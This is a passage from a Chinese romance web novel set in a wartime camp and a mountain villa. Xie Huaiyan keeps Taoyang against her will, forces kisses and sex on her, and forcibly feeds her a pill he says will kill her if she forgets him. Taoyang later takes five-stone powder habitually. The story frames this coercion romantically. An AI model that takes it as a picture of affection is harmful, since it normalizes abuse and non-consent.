桃漾双眸敛下,看着水面波动,许久,在谢怀砚的注视下抬眸,与他眸光直直相对,语气散漫:“已是褪了痂的旧伤,用些药就能消去,怎会吓到我。” 谢怀砚望着她的神色冷了一瞬,淡淡‘嗯’了声:“这两年在外面倒是长进不少。”他们之间,可以沉默,可以共枕而眠,可以彻夜欢好—— 却从未提及过这两载时光。 谢怀砚捞过桃漾的手铺开放在他宽大手掌中,用指腹轻轻在她掌心摩挲,按着她手心的薄茧低声问:“与我说说,这两年是怎么生活的?” 他话落,桃漾秀眉紧凝,另一只手在衣袖中蜷握。 她垂眸不语,不愿提及。 谢怀砚俯身在她耳边,嗓音里带着怜惜与心疼:“满室的炭盆摆着身上还暖不热,在那么冷寒的雪天走,该吃了多少苦——”他吻在桃漾玲珑耳垂,低声:“桃漾,你想做的事,在我身边也可以——” 桃漾猛的一下将手从他手掌中抽 出,自他怀中站起身,浑身湿漉漉的踩着木梯往外走,谢怀砚眉心微抬,未将她再扯回,靠在浴桶上神色意味不明看着她单薄的背影。 桃漾出了净室,换了干净衣服后没有回榻上,径直出了营帐,沈婆子急忙上前去跟着,被她侧首看了一眼,只好远远的缀在后面。 桃漾在外面吹了风,待了好些时候,再回到营帐时谢怀砚已出了净室,一袭月白寝衣坐在榻边,手臂上的伤也已包扎好,桃漾看他一眼,褪去鞋袜在他身侧的位置爬上了榻。 她上榻后就钻进被褥侧过身去,谢怀砚看着她神色紧绷不理人的模样,不禁低笑,抬手按住她的肩将她给掰过来,嗓音平和问:“我又怎么得罪你了?” 桃漾阖上眼眸不理他。 谢怀砚把手中摆弄着的一只白玉药罐塞在她手中,冷白指节再挑起她的一缕青丝在她眼皮上来回扫动,桃漾凝眉,不堪其扰,睁开眼眸来瞪他一眼:“你做什么!” 谢怀砚抬手,身上宽大寝衣褪下,宽肩窄腰再袒露在桃漾面前,他俯下身来,神色清隽看着桃漾:“这些疤痕留在身上终究不好,涂上药膏去了吧。” 桃漾垂眸看了眼手中的白玉瓶,再看了眼他肩背上的鞭痕。 默上片刻,她自枕上坐起身来,在他身后用指腹沾染了药膏朝着鞭痕的方向一点一点涂抹开,床榻边寂静,桃漾只垂眸认真涂抹着,指腹轻柔,药膏冰凉,在他紧实的肩背来回游动。 谢怀砚侧首来看她,桃漾微微凝眉:“别动——” 谢怀砚眉心微抬,哑声道:“腰上也涂这么慢,是在故意折磨我?”桃漾抬眸,对上他的暗沉眸光,把手中药罐扔给他,淡淡道:“好了。” 她跟只兔子般灵巧,一溜烟的就再钻进了被褥,背过身去。 谢怀砚看她一眼,把寝衣穿上,熄灭了榻边小几上的烛火,随后上了榻。 他将桃漾揽在怀中,下颌抵在她如墨青丝上,低声道:“我已不再跟你计较,不再恨你,我们扯平,你也别再恨我了,成么?”他将修长指节在被褥中和桃漾十指相扣:“我们重新开始——” 床帐内依旧静谧,这次他不许桃漾再不回她,宽大手掌落在她腰间,掐了她一把,桃漾吃痛侧过身来,在昏暗中看着他,朱唇翕动,淡淡吐出两个字:“不成。” 她神色清冷,语气淡漠。 谢怀砚眉心蹙起,眸光逐渐变得暗沉。 桃漾神色清淡的笑:“我们怎么可能重新开始,谢怀砚,你既非要留我在身边,我们就只能互相折磨——” 她性情犟的很。 比谢怀砚以为的还要犟。 他对上桃漾倔强的神色,心中怒火再难以压制,凝眉喝问:“你到底在跟我犟什么!心是铁做的么?三十铁鞭落在肩背,是为了娶你为妻而留,你呢,与我虚情假意,就没有想过若有哪日我不慎受伤,毒素入体,就没了命!” “我要娶你,可你却要害我!” “整整一月昏迷,你在哪啊!” 他厉声质问,桃漾眸光直直看着他,对着他吼道:“我没有害你,我只是为了离开,是你,你非要将我困在你身边,那样密不透风的牢笼,你要我怎么办!” 她眸光澄亮瞪着他:“我从不愿嫁给你,你的鞭笞亦是你父亲所为——” 谢怀砚听着她口中的话苦笑一声,神色间染满无奈,他自嘲低笑:“不愿嫁给我,就愿意嫁给萧子亭是么?可以是桓恒,可以是萧子亭,就是不可以是我!” 他声嘶力竭,带着怒火。 他冷冷凝着桃漾,似是要将她看穿:“你爱他们么?你嫁给谁都不过是为了寻求一个庇护,明明最可以给你庇护的人是我!” 桃漾苦笑:“若没有你,我的生活不会是现在这样痛苦!这一切,都是你害的!” 帐内安静了这么久,忽然大吵起来,沈婆子和青翠守在外间,默默不敢言语,沈婆子只示意青翠:“贵人的事少听,把耳朵捂上。” 一阵声嘶力竭的嘶吼过后,帐内又安静了下来。 谢怀砚修长指节攥在桃漾发间,强势的吻上去,恨不得咬断她的舌头,让她永远的闭嘴。 唇。舌相。缠,试图纠缠出个高低,情绪相抗,倒是像极了缠绵悱恻。 桃漾狠狠咬了他后,谢怀砚把她扔在软榻上,咽下口中的血腥,下了榻站在榻前,在黑暗中久久的凝视着桃漾:“如此软硬不吃的性子,一头犟驴,早晚让你自食其果!” 他说完身上只着了件单薄寝衣就出了营帐。 桃漾躺在枕上,檀口微张,胸口起伏喘着粗气,眸光直直望着帐顶—— 夜里,谢怀砚没有再回来,天光大亮的时候,桃漾醒来,身侧是空的,她起身洗漱用了早膳后,就再出了营帐去到从前晒日光的地方,拿大氅盖在身上,蒙住脑袋,一躺就是好几个时辰。 午时,沈婆子让她回去用午膳,她掀开大氅闻到不知是何处飘来的烤肉香,与沈婆子道:“端块烤肉来,再提壶酒,我在这里吃。” 沈婆子这些日子也是见识了桃漾的脾气,不敢忤逆她的话,闻言应声:“姑娘在这等会儿,老奴这就去给您端来。” 不多时,沈婆子再回来,手中端了盘热气腾腾滋滋冒油的烤野猪肉,还提了壶清酒,上前与桃漾道:“这肉还冒着热气,姑娘可以多用些,就是这酒不多了,老奴只找了半壶来。” 说是半壶,实则只有一小半,还被沈婆子给添了水。 桃漾倚靠在树干上,随手捡了片干净树叶,扯下一块野猪肉就放在口中吃,还再就着酒,待吃好了后,就拿起水壶漱了漱口,再躺在树下睡觉。 几个时辰再过去,用晚膳的时候,她再让沈婆子去取吃食来,提醒她:“别再给我往酒里掺水。” 沈婆子讪讪:“……是。” 用过晚膳后,遛了会儿食,就回了营帐,隔得很远,桃漾看到营帐内烛火通明,脚下的步子逐渐放慢,最后再快步走进,径直入了里间。 她不想看到谢怀砚,也不想和他再吵架,洗漱后就上了榻。 当夜,谢怀砚依旧没有回里间来歇,桃漾第二日睡醒后,依旧出了营帐,直到在外面用过晚膳天色暗下才再回来。 她走到离得营帐不远处时,看到营帐门前有人点了火,慢步走近时才发现,被点燃的东西不是别的,正是早几日被送回的那几只箱笼。 桃漾快步走上前,看着已燃烧了大半的物件,侧首看了空渊一眼,她默了默,什么都未说,径直回了营帐去歇下。 夜里,谢怀砚一袭墨衣宽袍坐在书案前,提笔写完一封书信后已是亥时,他搁下手中紫毫,抬眸往里间看过去,不多时,沈婆子自里间走出,上前禀道:“公子,姑娘已睡下了。” 谢怀砚未有言语,提笔再去写书信,待一封书信写完,他抬起手中紫毫狠狠掷了出去,神色冷沉,眉眼燥热,起身出了营帐。 待到第二日,桃漾再从外面回来时,营帐外她的所有箱笼都被烧了个干净,只剩下一片灰烬,她淡淡看去一眼,再回了帐中,沈婆子见状难免再苦口婆心的上前去劝:“姑娘,公子身上还有伤呢,哪能夜夜歇在外面。” 桃漾看她一眼:“你若担心他的身体,不如去照顾他,不必在我跟前待着。” 沈婆子:“……” 之后几日,桃漾在营帐外回来经过外间时也未见过谢怀砚,一连几日的夜里,她也不知已是何时辰,总能听到外面有沉稳脚步声和卸甲的窸窣声。 她昏昏沉沉的醒来再睡下。 这日一早,她再走出营帐时,营帐外一片沉寂,犹如雷声滚滚的暗夜让人觉得沉闷,桃漾走了一路,所行之处尽是如此,她回身问沈婆子:“发生何事了?” 沈婆子神色也不似往日轻松,低声道:“常胜将 军陈益被公子砍了头颅,“沈婆子抬手给桃漾指了指:“呐,就在那边军旗旁挂着呢。” 桃漾闻言脚下步子停住,再问:“他为何要杀了陈益?”桃漾在军营这许久,对陈益此人有所了解,他出身寒门,全靠着自己一身的骁勇走上如今的位置。 之前南北朝大乱时,就是他带兵出征,守住了凉州。 谢怀砚把他给杀了,无疑不是自断臂膀,让军心大乱。 沈婆子神色凝住道:“陈将军叛变了!” 这些日子以来的作战,除了最初的几次两军交战外,萧子亭多是带领将士守城,并不出城迎战。 去岁秋日,北朝大半州府受灾,百姓不但上交不起赋税,朝廷更是拨出几万吨赈灾粮下去。 如今不止各州府粮草空虚,国库中亦是。 最初的几场交战,萧子亭本是想速战速决,可常胜将军陈益久经沙场,又有谢怀砚在,速战速决不成,他只能守好城池,等待着鹊洲的粮草运来。 一连几日,南朝军队在宁安郡城门前叫嚣,各种猖狂,言语无忌,守城将士心中如火在燃,非要出城与他们大战一场,被萧子亭制止。 这日,自鹊洲运来的粮草午后便到,南朝士兵再在城门前叫嚣时,萧子亭身边的副将大骂一声,对萧子亭道:“将军,咱们还要再忍到什么时候,让老子出去撕了他们的嘴!” 萧子亭沉默不语。 副将再对着城下人大骂:“粮草马上就到,咱们怕什么,”他这么一喊,身后其他将士也都跟着一同附和,杀气腾腾,满腔怒火,萧子亭问了宁安郡守:“粮草何时到?” 宁安郡守回:“最晚未时到。” 萧子亭吩咐:“派一队人马前去接应,必要万无一失!”说完,他带领将士开城门出去迎战。 在城门外与南朝军队厮杀一刻钟后,南朝将士就已占据弱势,在打杀中连连撤退,北朝将士在城内守了这么些时日,正杀的起劲,趁势追击,欲要将他们一网打尽。 城外五里处,谢怀砚早已命人在林中设伏,并让陈益带出军中最为精锐的两队骑兵绕过后山前去劫了鹊洲运来的粮草,断了他们的粮道,之后再前来与他前后夹击,将北朝军困在此处山林。 萧子亭带着将士确实中了埋伏,可陈益不但没有劫了他们的粮草,还带领两队骑兵血淋淋的回来,在交战最为激烈的时候,他们冲入队伍中,不但不去与敌军厮杀,反倒对着他们的将士大喊:“快撤退!有埋伏,他们的大军赶来了!” 陈益在军中的威望自是深重,被他这么一喊,瞬时军心大乱,同时萧子亭举剑扬声:“将士们,杀!”一衰一盛,虽北朝将士中了埋伏后军心不稳,一时再强盛而起,气势如排山倒海。 军中将士已自乱阵脚,谢怀砚冷冷凝了陈益一眼,带领将士撤退。 回到军营后,陈益只解释道:“属下当时一时慌乱,未来得及与主帅商议,怕将士们死伤,才未多思虑喊了撤退——” 谢怀砚呵笑一声,神色淡淡将一封书信扔在陈益面前。 陈益在建康为官这些年,虽一心想要攀附上士族,可士族傲慢,就算他再是骁勇善战,依旧看不起他是寒门出身,唯有卢氏对他还算接纳。 这些年,他攀附着卢氏做事,此次他和谢怀砚一同前来攻打宁安郡,卢三爷在建康被谢怀砚摆了一道,心中实在咽不下这口气,就给陈益来了书信。 陈益留下这封书信本是为了日后能和卢氏共生死,却不想会出现在谢怀砚手中,他正欲再解释,空渊已压着他身边的副将走进营帐,副将受了军中刑罚,跪下颤颤道:“是,是陈将军通了敌军——给萧子亭去了书信——” 陈益自是恨谢怀砚的。 那日,谢怀砚自妓营将那女子抱走,之后他再去见谢怀砚,为他的堂弟陈方求情,当时谢怀砚神色淡淡与他道:“他既是与陈将军同出一宗,我自是不会严惩,可犯了错,也不该纵容。” 陈益当即道:“让他挨上三十军棍,也好长长记性。” 谢怀砚对他低笑,没说什么回了营帐,当夜,陈益亲自对陈方用了军棍,夜里,谢怀砚身边的随从还来给陈方送了上好的伤药,那伤药价值千金,陈益也只在卢三爷那里见到过。 他和陈方心中都感念着他。 之后两日,谢怀砚要带军攻城,陈方见谢怀砚对他看重,虽然身上的伤还未好全,当即请命出战,想在谢怀砚面前讨好,攀附了谢氏。 谢怀砚当时笑道:“陈副将的伤还未好,先歇着吧。”陈方是粗鲁汉子,闻言更是要出战,结果在攻城时,身上再受了伤,连带着旧伤一起复发。 回到军营再休养时,夜里也不知他哪来的酒,喝了整整两壶,第二日一早,人躺在榻上已经断了气。 军营中都言陈方是受了伤还嗜酒才死去,可陈益却越想越不对,怕不是那日夜里谢怀砚就想要了他的命,奈何如今在军中,他为了一个女人而杀将士,太过寒军心,才有了这么一场曲折。 陈益死了,如今军中死气沉沉,敌军的粮草也已到了宁安郡,沈婆子与桃漾说完这些后,整个人也比之前沉默许多。 桃漾没在外面再待许久,午时就回了营帐,当时正有一名将士神色匆匆进了营帐,与谢怀砚回禀:“主帅,凉州刺史的来信——” 谢怀砚抬手接过,敛眸扫过后,拿起书案上的砚台狠狠砸出了营帐。 桃漾看着滚落在地的砚台,默上片刻,弯身捡拾起来进了营帐,她抬眸看谢怀砚一眼,将砚台给他搁在书案上,她站在一侧,并未回里间。 谢怀砚抬手烧了手中书信,对她淡淡开口:“萧子亭很快就会来救你了,开心么?” 桃漾适才听到了那封书信是凉州刺史递来的,轻声问他:“没有别的办法了么?”谢怀砚抬眸去看桃漾,眸色晦暗不明:“这般担忧的神色,桃漾,你假惺惺的给谁看?” 他站起身,掐着她的下颌厉声道:“滚出去!” 桃漾出了营帐,就在主帐外的木板上坐着,半个时辰后,她听到身后有急促的脚步声,有人进去再与谢怀砚回禀:“主帅,萧子亭带了人马出城,正往咱们军营而来。” 片刻,她再看到谢怀砚一袭玄甲出了营帐。 天色暗下时,沈婆子备了热水,桃漾去了净室沐浴。 她靠坐在浴桶边,阖着眼眸,不多时,听到净室门前传来沈婆子的话语声,睁开眼眸回身去看时,那道高大身影已大步走至浴桶前,拖住她的后脑朝她强势的吻过来。 他身上沾满血腥气,指骨冰凉,桃漾被他吻的微微凝眉,却是推他不开,他越吻越深,一边吻她一边拿起她的手把他身上的外衣褪下。 没有给她一丝喘息的机会,净室内点了烛火,很是明亮,宽大手掌攥在滑腻肌肤,水汽朦胧,映出娇靥,唇瓣红润,面颊生绯,浮在水面的肩背缀着点点莹亮水珠,肌肤如玉。 浴桶宽大,荡漾起阵阵水花,宽大手掌将桃漾按趴在浴桶上,劲瘦腰。腹似是有用不完的力气—— 一番折腾,命人换了水,他站着身用双手拖住桃漾,让桃漾趴在他宽肩上,对她无尽占有时眸色暗沉,线条分明的颈间喉结滚动,直到闷哼一声。 他把桃漾扔在水中,出了浴桶,披上寝衣后再走回,冷白指节掐住桃漾下颌就往她口中喂了什么,桃漾凝眉,想要吐出来,被他再吻住唇,直到将药丸咽下喉间。 桃漾推他:“谢怀砚,你给我吃的什么?” 谢怀砚墨发半湿披散在肩,轮廓分明,眼尾染上几许绯红,显出俊逸的美,他神色散漫:“真以为我会让萧子亭来带你走么?” 他神色暗沉,对着外间吩咐:“亥时送她走!” 他抬手将桃漾自浴桶中捞出,嗓音低哑:“就算我死了,他也永远找不到你。”他冷笑一声,贴在桃漾耳边:“你 若敢忘了我,这颗药会让你痛不欲生,直到也要了你的命——” 第70章 一更他自作孽 桃漾被他放在榻上,沈婆子奉命走进来,在衣柜里取出一套干净衣裙,见桃漾目光怔然,只裹着绢巾环抱双膝靠在榻边,低声道:“姑娘,就要到亥时了,穿衣吧。” 桃漾抬眸,看了眼她手中拿着的衣裙,淡声道:“出去罢,不用侍奉。” 沈婆子‘诶’了声,守在屏风后。 桃漾擦干净身上的水珠,再攥干了发,将一套藕荷色绣枝锦裙穿在身上,简单收拾,抬步走出里间,神色清淡对沈婆子道:“走吧。” 沈婆子闻言回身,将怀中抱着的氅衣上前给桃漾披在肩上:“天气虽暖,可夜里还是凉的。”她给桃漾系好系带,一起出了营帐。 营帐外没有马车,只有两匹矫健的骏马。 青翠正站在骏马旁侯着。 桃漾停下步子,微微凝眉。 究竟是到了何种时候,竟是连马车都不能用了—— 青翠见她出来,牵了马上前:“姑娘,你和我同骑一匹。”桃漾对她颔首,正欲上马,沈婆子在身后唤住她,神色犹豫低声道:“姑娘,不去跟公子道声别么?” 桃漾闻言侧首看过来,夜色昏暗,营帐内的明亮烛火透出,谢怀砚一袭墨色宽袍站在营帐门前,眸光淡淡看着她,桃漾与他相对一瞬,回身踩上马镫上了马。 沈婆子本是要上前去扶,见她上马的姿势倒是娴熟,收回抬起的手,踩蹬上了另一匹马。 也是此时桃漾才知晓,原来青翠和沈婆子都是会武之人。 这些日子桃漾无心留意她们,只记得青翠在她身边侍奉,一直寡言沉默,偶尔还会打碎些物件,显得笨手笨脚,而沈婆子——明明当初在船上时还被她用匕首伤了腿脚。 桃漾凝眉,朝着沈婆子看过去一眼。 她们策马扬长而去,身后谢氏部曲将她们护送至凤阳郡境内,再策马回返。 桃漾看着谢氏部曲的身影再消失在暗夜中,低声问青翠:“咱们去哪儿?”青翠驾马时神色认真,并未与桃漾说是去哪儿,只回:“姑娘若是疲倦就靠在我身上睡会儿。” 青翠的马儿虽赶的快,却很稳,桃漾在她身前坐着,虽是身上酸痛疲倦,却是丝毫未有困意,青翠一路策马扬鞭,桃漾就在皎洁月色下,看着官道两侧行经的山峰草木。 她们去的地方是长陵郡,与凤阳郡相连,过了凤阳郡后不过再赶了一炷香的路,青翠就勒马停在了一处山间别苑前。 马不停蹄赶了三四个时辰的路,桃漾身上已累的不行,踩着脚蹬下马一时腿有些软,被青翠扶了一把,走进这处别苑后,有仆人上前来引着她们去了一处清雅小院。 里面都是清扫过的,已是后半夜,桃漾褪了身上的大氅就去上了榻。 翌日醒来,已是午后,她没有什么胃口,简单用了半碗粥后就出了院子,在这座别苑里四处走动,如今已是暮春,天气暖融融的,花草一片繁盛。 她逛的累了,就在一处八角古亭下歇脚,独自一人坐在那里出神,直到天色暗下去。 一连几日,她都是这般,神色淡淡的,莹白面颊上无喜无悲,沈婆子看着她这模样,像极了寺庙里出了尘世的比丘尼,心中不由担忧,就让青翠找些书卷和女子都爱的首饰衣物来。 桃漾对这些也没什么心思,实则,她自己也不明白自己到底要做什么。 再次费尽心思逃离么? 可她又能逃到哪里去,所有的折腾,到头来不过是徒劳一场。 她已经一次又一次的失去,每次都是满怀期待的去拥有,去认真的过好自己的生活,可到头来不过虚空一场,既如此,她的期待又有什么意义呢? 她不想再拥有和失去了。 早在她被谢怀砚带回军营时,她就不想再逃了。 她什么都没有,也再回不去了。 可她留下又要做什么呢? 一日又一日的磋磨着,内心麻木空虚,像只无形的大手就要掐的她喘不过气来。 这日,她闲逛时来到一处水榭,水榭的雕花木门是敞开着的,她抬步走进去,看到了和墨园里相似的书籍与布置,她秀眉凝住,站在门前许久。 午时的日光很盛,正对着她有些刺眼,桃漾往前走进几步,看到水榭里敞开的窗牖前搁着副棋盘,上面的黑白二子还有条不紊的摆放着。 应是主人还未对弈完就有了急事离开,这盘棋就一直留在这里。 她走上前去,垂眸观着棋盘上的对弈,默上片刻,眼角余光无意间看到棋盘里侧的檀木几上搁着的一盒‘五石散’,她眸光怔滞许久,再微微抬起看过去。 纤白指节将装有五石散的檀木盒拿在手中,再不愿放下。 她知道,士族中人常服五石散来寻求快感与愉悦,虽然知晓此物伤身却依旧乐此不疲,她垂眸看着,乌黑眼睫轻轻颤了下,许久后,才出了这间水榭。 之后几日,桃漾常来这里,一待就是大半日,用过五石散后再出去在别苑中行散,待身上的散行去,回到卧房沐浴后就上榻睡下。 四月初,清明这日,桃漾正在别苑后的桃树林中走动,沈婆子做了些青团给她端来,温声道:“今儿是清明,姑娘应是吃得惯这个。” 桃漾侧首看了眼,随手拿起一个,放在口中轻嚼,这时,青翠也走过来,神色却是沉重,桃漾一早起身就未见她,淡声问:“去哪了?” 青翠欲言又止,低声回:“姑娘,公子,公子怕是凶多吉少——” 青翠这几日一直打探着宁安郡那边的战事,这句话说出口后她再看桃漾一眼,继续道:“咱们离开后,北朝军越战越勇,公子亲自披甲上阵迎敌,可军中将士大多是陈益的部下,再加上萧子亭身经百战,公子身上受了重伤,只好退到了宁安郡外三十里。” “两日前,在宁安郡外一处不知是敌军还是我军设计的巨大深坑中浴血奋战,全军无一生还,凤阳郡守趁夜带兵前去,只见深坑之中,死尸层层叠叠,没有尽数。” “周边数里,烟雾弥漫,空荡骇人,甚至林中连一只飞鸟都无。” 桃漾站在一棵开满了粉红花瓣的桃花树前,手中还拿着那颗青团,垂眸默默的将它吃完,随后再抬起眼眸来,看向沈婆子,问她:“有水吗?” 沈婆子闻言‘啊’了声,愣了愣才反应过来,去了附近古亭内给她端了茶水来。 桃漾用了盏茶,在一棵生的粗壮却矮小的歪脖子桃树的枝干上坐下,春风轻拂,将她满头如墨青丝拂起,吹散在片片桃花瓣中,她口中没有一言,只是默默出着神。 沈婆子让青翠留下,她去了水榭给她取软垫来。 青翠就站在不远处守着,过上片刻,她见桃漾神色黯淡,走上前低声问:“姑娘是在为公子伤心么?” 桃漾闻言眼皮轻抬,望着满地被风吹落的桃花瓣,她抬起纤白指节,将风送来的一片捻在手中,朱唇翕动,淡淡开口:“他自作孽,与我何干——” 70-75 第71章 二更为所欲为 青翠听在耳中,凝了凝眉,想要说什么却又咽了回去。 桃漾在桃树林里待了好几个时辰后,起身再往水榭去,沈婆子见她面色不大好,就上前近些跟着她,站在水榭门外看到桃漾服用五石散时,瞬时惊的大骇。 沈婆子急忙走上前,神色凝紧‘哎呀’了声:“姑娘啊,你怎么用起这个来了?” 沈婆子看到檀木盒里的五石散已被用了好些,才明白过来,这些日子桃漾日日来此,原来都是为了服用这个。 她深叹一声,先给桃漾添了杯茶,再道:“这东西虽好却伤身,姑娘可不能再日日用了。”桃漾没有回她的话,用过茶水后,就再走出水榭去行散。 沈婆子亦步亦趋的跟着,再不敢离得她太远。 天色已渐渐暗下,桃漾在别苑内走了有一炷香的时辰后 ,在别苑里的一处矮坡上坐下,她一下午都未有言语,沈婆子也在她身侧坐着,低声问她:“姑娘到底是想怎样呢?” “是想再回北朝么?” 沈婆子在北朝生活了十几载,对那里有着很深的感情,问出这句话时带了几许对桃漾的理解,见桃漾依旧不回她,再苦口婆心道:“还是说姑娘想去别的地方?” 夜风轻拂,有些微凉,桃漾对她轻轻摇头:“我哪都不想去。” 沈婆子也是看不明白了,叹气道:“姑娘既哪都不愿去,又为何整日里和公子闹呢,”沈婆子顿了顿:“我在北朝做首饰铺子多年,相人无数,也为人做过媒。” “姑娘可有想过,和他对抗,给他找不痛快,到底是为了什么?” “哪能这么为难自己。” 沈婆子一番话说完站起身,看桃漾行了这么长时间的散额间沁出细汗,将怀中一直抱着的氅衣给她披在肩上,再道:“离开军营那夜,公子与老奴吩咐,若他没能回来,姑娘想去哪儿,老奴只管带着去便是。” “就算是要回北朝,也让老奴带着去,还让老奴帮着姑娘把铺子重新开起来。” 桃漾神色清淡,只默默听着,未有什么情绪。 沈婆子在心里再叹一声,去了附近水榭端茶水,桃漾身上披着氅衣,双臂环膝,垂首将下颌抵在膝弯,乌黑眸光望着远处群山,成群结队的飞鸟在暗夜归家—— 她眼圈不由生热,蓄满的泪液憋疼了嗓子后再一冲而下。 她压抑了太久,心间苦楚四溢,钻进四肢五骸—— 那么努力的生活了这些年,她依旧什么都没有。 在阳夏讨好、乖巧了十几年,也不过是可以被用来换谢敛前程的棋子,那里何曾真正是她的家,和桓恒相知相守定下亲事,却也依旧不能如愿。 她脑海中闪过了许多人,有庾子轩,有嫣儿妹妹,有谢夫人,甚至丝毫未有过记忆的母亲也出现在眼前,她看着这些人一个个的出现再离去,从来都握不住。 到头来,她身边只有自己。 沈婆子端了茶水再回来时,远远的听到她的啜泣声,在暗夜里,那道单薄倩影蜷缩成一团,肩膀耸动,被月色拉出长长的影子。 之后的几日,桃漾更痴迷于服用五石散,虽有时已分不清梦境和现实,沈婆子和青翠也拿她没办法,就算是藏起来,最后也得再拿出,只好也就任由了她去。 夜里,桃漾回到卧房沐浴后,让沈婆子在屋里点了安神香早早上了榻,卧房内一片昏暗,她闻着安神香的气息很快睡下。 依旧是做着那些梦。 自她来到这处别苑开始服用五石散后,夜间常出现一些奇怪的画面,她以为是五石散让她出现了幻觉,可又觉得,那些奇怪的画面更像是梦境。 重阳佳节,谢氏府中热闹成一片,一大群人都聚在谢老夫人的存玉堂,陪着谢老夫人说笑,桃漾是跟在谢老夫人身边自幼到大侍奉的,自然就在谢老夫人身侧待着。 待谢氏本家中人都问过安退去后,有别的士族中人前来问候老夫人,其中就有谢老夫人母家的侄子崔望。 早在去岁桃漾还未及笄时,崔望就把心思落在桃漾身上,当时也与谢老夫人提起过,只是谢老夫人一口回绝了他,之后崔望再来,总要盯着桃漾瞧。 还不止一次的跟谢老夫人苦求,谢老夫人始终未松口。 此时,他的目光依旧是盯在桃漾身上,她已及笄,出落的更为亭亭玉立,温婉可人,让崔望看的心燥体热,他再次与谢老夫人哀求时,谢老夫人忽然就改了口:“你既如此喜欢漾丫头,让她跟着你就是了。” 崔望当时大喜,哈哈笑出声来,只是,站在谢老夫人身侧的桃漾面色瞬时煞白,跪在谢老夫人面前说她不愿,谢老夫人看她一眼,只说是乏了,起身就回了屋内歇下。 后来,桃漾才知晓,谢老夫人不知因何知晓了她的身世,知道她非谢澜和桓馥所出,也非谢氏中人,才会改了口让她跟着崔望。 可崔望已年过不惑,生的膀大腰圆,发妻前年离世,膝下有三子,嫡长子比桃漾还要再大上两岁,她不愿嫁,急忙写信回阳夏,可却迟迟未收到回信。 那夜,她站在府中莲池边,久久的出神,一道沉稳嗓音在她身后响起:“夜深了,桃漾妹妹一人在这里做什么?”桃漾闻言回过神,看到谢书易神色温和的朝她走过来。 桃漾上前对他见礼,夜色中她娇靥莹白,眼圈红了一片,谢书易看着她,叹声道:“桃漾妹妹是在因祖母为你定下的亲事伤心?” 这些年在谢府中,谢书易对桃漾还不错,他为人正直,宽厚待人,桃漾对他点了头。 夜风拂过,过上片刻,谢书易抬手摸了摸她的头以示宽慰,嗓音沉稳的让人心安:“桃漾妹妹别忧心,这件事我来为妹妹做主,”他轻笑:“已是深秋,夜里凉,桃漾妹妹快回去歇吧。” 待到第二日,崔望忽然离开了谢氏,谢老夫人也不再提将她嫁给崔望之事,只是,对她的态度越发冷淡。 桃漾感激谢书易帮她,前去与他道谢,谢书易当时在谢氏家塾为族中子弟授课,很是忙碌,常常留下桃漾让她帮忙,这样来往了几月后。 一日晚间,西山晚霞映照,谢书易送给了桃漾一本《诗经》,与她温声道:“桃漾妹妹回了屋中翻开看看。”桃漾当时只以为谢书易喜欢诗经,所以督促她也来看。 回到屋中翻开后才发现,谢书易在书页的不同位置圈出了一首诗,是对她的表白。 桃漾心中大惊,一连几日都未再去见他,可同在谢府中,总有见面的时候,那日,湖中水榭内,谢书易神色认真当面与她道:“桃漾妹妹可是嫌我成过亲,不愿做续弦?” “既然你非我谢氏中人,回头我让谢澜认你为义女,我和桃漾妹妹的亲事自然可成。” 那时,谢书易的夫人已病弱离世,桃漾听他这般说没有当即回他,之后,她深知自己如今的处境,她生母是奴籍,她若能嫁给谢书易,当然是最好不过。 可不久后,过了年关,谢书易要入建康为官,临别时与桃漾道:“阿漾,此次我去建康走的急,成亲之事待我在建康安置下来再商议。” 他抬手温柔的轻抚桃漾耳边碎发:“你放心,我已与怀砚言说,日后你就在他的墨园里待着,有他在,无论是祖母还是他人,都无法欺负你。” 夜里起了风,将两扇雕花木窗忽的吹开,窗外院中古树的枝叶沙沙作响,把桃漾惊醒,她睁开双眸,眸光怔怔望着床帐,许久才再阖上眼眸。 窗牖似是被人给合上,她再昏昏沉沉的睡下,在一片繁乱中,看到了谢怀砚。 他就坐在她的榻边,一袭墨衣锦袍,神色很沉的看着她,他们眸光相视很久,桃漾哑声开口:“怎么是你——”她就要再阖上眼眸去,他却忽然倾身下来,按住她的手腕,朝她吻过来。 气息冷沉,撬开她的唇齿,将她香舌含住,吻了许久。 他还是不够,将她身上寝衣褪至腰间,在她身上为所欲为—— 次日天光大亮时,桃漾睁开双眸神色怔怔的躺在枕上,沈婆子走近为她挂起床帐,梳洗一番后用了早膳,桃漾抬步走出屋门时,院中的风还未停。 用金银绣线绣出仙鹤的衣袍在风中拂动。 那道高大颀长身影坐在院中树下,骨节分明的手正拿起茶壶添茶,待茶水‘噜噜’的被添好,他神色温和的抬眸朝她看过来,嗓音清润:“醒了。” 桃漾看他一眼,对于他出现在院中,神色间并无波动。 第72章 脾气不饶她 “过来用盏茶。”谢怀砚见她站在门前不动,再开口道。 桃漾朝他走过去,刚要落座,就被他抬手一揽坐在了他长腿上,谢怀砚敛眸看着她,温声道:“看到我回来,就这么平静么?” 桃漾抬眸看他,淡声道:“你回来,不是早晚的事么。”默上片刻,她再道:“我知道你不会死。” 他这样的人,心思深沉,从来都只有他算计别人,怎么可能那么轻易就死了。 见谢怀砚眸光深邃看着她,桃漾再道:“所以,你让青翠和沈阿婆与我说的那些话,都是故意的,我根本不信。” 谢怀砚听着她说这些话,不由失笑,冷白指节抬起在她颊边掐了下,神色无奈道:“桃漾,别这么没良心,我在你心里就这么坏么?” 他用指腹勾出桃漾颈间佩戴的一枚莹白玉坠,低声道:“她们没告诉你,这枚玉坠可以动用我名下所有的私产么?” 这枚玉坠是在军营离开那夜,谢怀砚给她喂了药丸后戴在她颈间的,桃漾这些日子一直没有取下来,也未去过多留意。 谢怀砚再道:“桃漾,我或许真的不是个好人,可我对你却是真心,更不会拿战场打仗这种刀口上舔血的事来哄骗你。” 桃漾侧过身去,抬手端起杯盏去用茶,不回他的话。 待她用过茶后,就要从谢怀砚怀中下来,被谢怀砚再握住手腕,带动着她的纤白指节挑开他的衣襟:“若话是骗你的,身上的伤总作不了假。” 桃漾抬眸看他一眼,将手从他手中抽出。 谢怀砚眉心微抬,温润的嗓音再在桃漾耳边响起:“陈益背叛是真,桓氏与庾氏在凉州使绊子也是真,若非不得已,我怎会让你走。” “此次请命作战拿回宁安郡,本就是一场不能输的仗,欲速则不达,我在建康事做的急,得罪了不少人,这两年在豫州大肆动用豫州兵马,自也有人暗中记着。” “若不能拿下宁安郡,将成为众矢之的,墙倒众人推,所有的罪名都会被安在身上,”他抬手将桃漾被风吹起的青丝拂回,神色散漫的笑:“桃漾,我若败了,谢氏家主之位也将易主,拿什么来娶你护你。” 